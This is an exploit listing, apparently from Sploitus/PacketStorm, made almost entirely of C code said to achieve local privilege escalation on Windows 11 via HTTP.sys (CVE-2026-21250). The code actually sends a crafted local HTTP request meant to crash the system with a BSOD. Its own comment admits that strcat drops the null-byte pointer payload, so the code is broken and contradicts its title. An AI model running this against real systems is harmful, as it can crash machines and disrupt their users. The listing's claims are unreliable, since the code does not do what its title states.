Exploit for 📄 Microsoft Windows 11 24H2 Local Privilege Escalation CVE-2026-21250

## https://sploitus.com/exploit?id=PACKETSTORM:220411
# Exploit Title: Windows 11 24H2  - Local Privilege Escalation 
    # Google Dork: inurl:http.sys "Windows 11 24H2" vulnerability | intitle:"HTTP.sys" "CVE-2026-21250" "Elevation of Privilege"
    # Date: 2026-02-27
    # Exploit Author: London foggy snow
    # Vendor Homepage: https://www.microsoft.com/en-us/msrc
    # Software Link: https://learn.microsoft.com/en-us/windows/win32/http/http-sys
    # Version: Windows 11 24H2 (10.0.26100.7780), Windows 11 25H2 (10.0.26200.7780), Windows Server 2022 23H2 (10.0.25398.2148)
    # Tested on: Windows 11 24H2 (x64), Windows Server 2022 23H2 (Server Core x64)
    # CVE : CVE-2026-21250
    # powershell -> net start http
    
    
    
    
    #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <winsock2.h>
    #include <windows.h>
    #include <ws2tcpip.h>
    
    #pragma comment(lib, "ws2_32.lib")
    
    #define TARGET_IP "127.0.0.1"
    #define TARGET_PORT 80
    
    unsigned char malicious_ptr[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
    
    char* build_malicious_request() {
        static char request[1024];
        sprintf(request,
            "GET / HTTP/1.1\r\n"
            "Host: localhost\r\n"
            "X-Trigger-Ptr: ");
    
        // Critical Pitfall: strcat truncation (core vulnerability trigger failure)
        // Citation: "The strcat() function terminates at the first null byte (0x00), which truncates binary malicious pointers 
        // required for CVE-2026-21250 exploitation. This causes incomplete delivery of the untrusted pointer to HTTP.sys driver, 
        // leading to failed BSOD trigger or random memory access errors instead of targeted vulnerability exploitation."
    
        strcat(request, (char*)malicious_ptr);
        strcat(request, "\r\n"
            "Connection: close\r\n"
            "\r\n");
    
        return request;
    }
    
    int trigger_blue_screen() {
        WSADATA wsaData;
        SOCKET client_socket;
        struct sockaddr_in target_addr;
        int ret;
    
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
            printf("WSAStartup failed, error: %d\n", WSAGetLastError());
            return -1;
        }
    
        client_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (client_socket == INVALID_SOCKET) {
            printf("socket failed, error: %d\n", WSAGetLastError());
            WSACleanup();
            return -1;
        }
    
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(TARGET_PORT);
        inet_pton(AF_INET, TARGET_IP, &target_addr.sin_addr);
    
        ret = connect(client_socket, (struct sockaddr*)&target_addr, sizeof(target_addr));
        if (ret == SOCKET_ERROR) {
            printf("connect failed, error: %d\n", WSAGetLastError());
            closesocket(client_socket);
            WSACleanup();
            return -1;
        }
        printf("[+] Connected to local HTTP service, sending malicious request...\n");
    
        char* request = build_malicious_request();
        ret = send(client_socket, request, (int)strlen(request), 0);
        if (ret == SOCKET_ERROR) {
            printf("send failed, error: %d\n", WSAGetLastError());
            closesocket(client_socket);
            WSACleanup();
            return -1;
        }
        printf("[+] Malicious request sent, waiting for BSOD...\n");
    
        Sleep(2000);
        closesocket(client_socket);
        WSACleanup();
        return 0;
    }
    
    int main() {
        printf("=== http.sys local BSOD test ===\n");
        printf("WARNING: May cause BSOD! Save all work now!\n");
        printf("Starting in 3 seconds...\n");
        Sleep(3000);
    
        int ret = trigger_blue_screen();
        if (ret == 0) {
            printf("Request sent. If no BSOD, check:\n");
            printf("1. System is patched\n");
            printf("2. HTTP service is not running\n");
            printf("3. Port 80 is not listening\n");
        }
        else {
            printf("Trigger failed.\n");
        }
    
        return 0;
    }